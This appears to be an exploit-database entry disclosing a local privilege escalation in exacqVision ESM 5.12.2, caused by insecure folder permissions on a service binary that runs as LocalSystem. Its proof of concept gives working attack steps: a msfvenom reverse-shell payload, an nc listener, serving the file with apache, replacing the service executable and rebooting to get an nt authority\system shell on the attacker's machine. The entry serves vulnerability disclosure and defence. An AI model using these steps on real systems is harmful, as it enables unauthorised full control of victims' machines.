exacqVision ESM 5.12.2 - Privilege Escalation

ID: 101000
CVE: None
Download vulnerable application: None
# Exploit Title:  
# Exploit Author: bzyo
# Twitter: @bzyo_
# Date: 2019-02-13
# Vulnerable Software: 
# http://cdnpublic.exacq.com/5.12/exacqVisionEnterpriseSystemManager_5.12.2.150128_x86.exe
# Vendor Homepage: https://www.exacq.com
# Version:
# Tested Windows 7 SP1 x86 and Windows 10 x64

# Description:
# exacqVision ESM 5.12.2 suffers from Privilege Escalation due to insecure file permissions

# Prerequisites
# Local, Low privilege access with restart capabilities

# Details
# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.  
# A low privilege account is able to rename the enterprisesystemmanager.exe file located in 
# this same path and replace with a malicious file that would connect back to an attacking computer giving system level privileges 
# (nt authority\system) due to the service running as Local System.  While a low privilege user is unable to restart the service 
# through the application, a restart of the computer triggers the execution of the malicious file.

# note: during install, you cannot choose a folder containing spaces i.e. "program files"

C:\>icacls exacqVisionEsm
               NT AUTHORITY\SYSTEM:(I)(F)
               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
               NT AUTHORITY\Authenticated Users:(I)(M)
               NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

C:\>sc qc "exacqVision Enterprise System Manager Web Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: exacqVision Enterprise System Manager Web Service
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ESMWebService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Proof of Concept
1. Generate malicious .exe on attacking machine
  msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f exe > /var/www/html/enterprisesystemmanager.exe

2. Setup listener and ensure apache is running on attacking machine
  nc -nlvvp 443
  service apache2 start
3. Download malicious .exe on victim machine
  Open browser to and download

4. Rename C:\exacqVisionEsm\EnterpriseSystemManager\enterprisesystemmanager.exe
   enterprisesystemmanager.exe > enterprisesystemmanager.bak
5. Copy/Move downloaded enterprisesystemmanager.exe file to C:\exacqVisionEsm\EnterpriseSystemManager\

6. Restart victim machine and login as low privileged user 

7. Reverse Shell on attacking machine opens
	nt authority\system
1-4-2 (www01)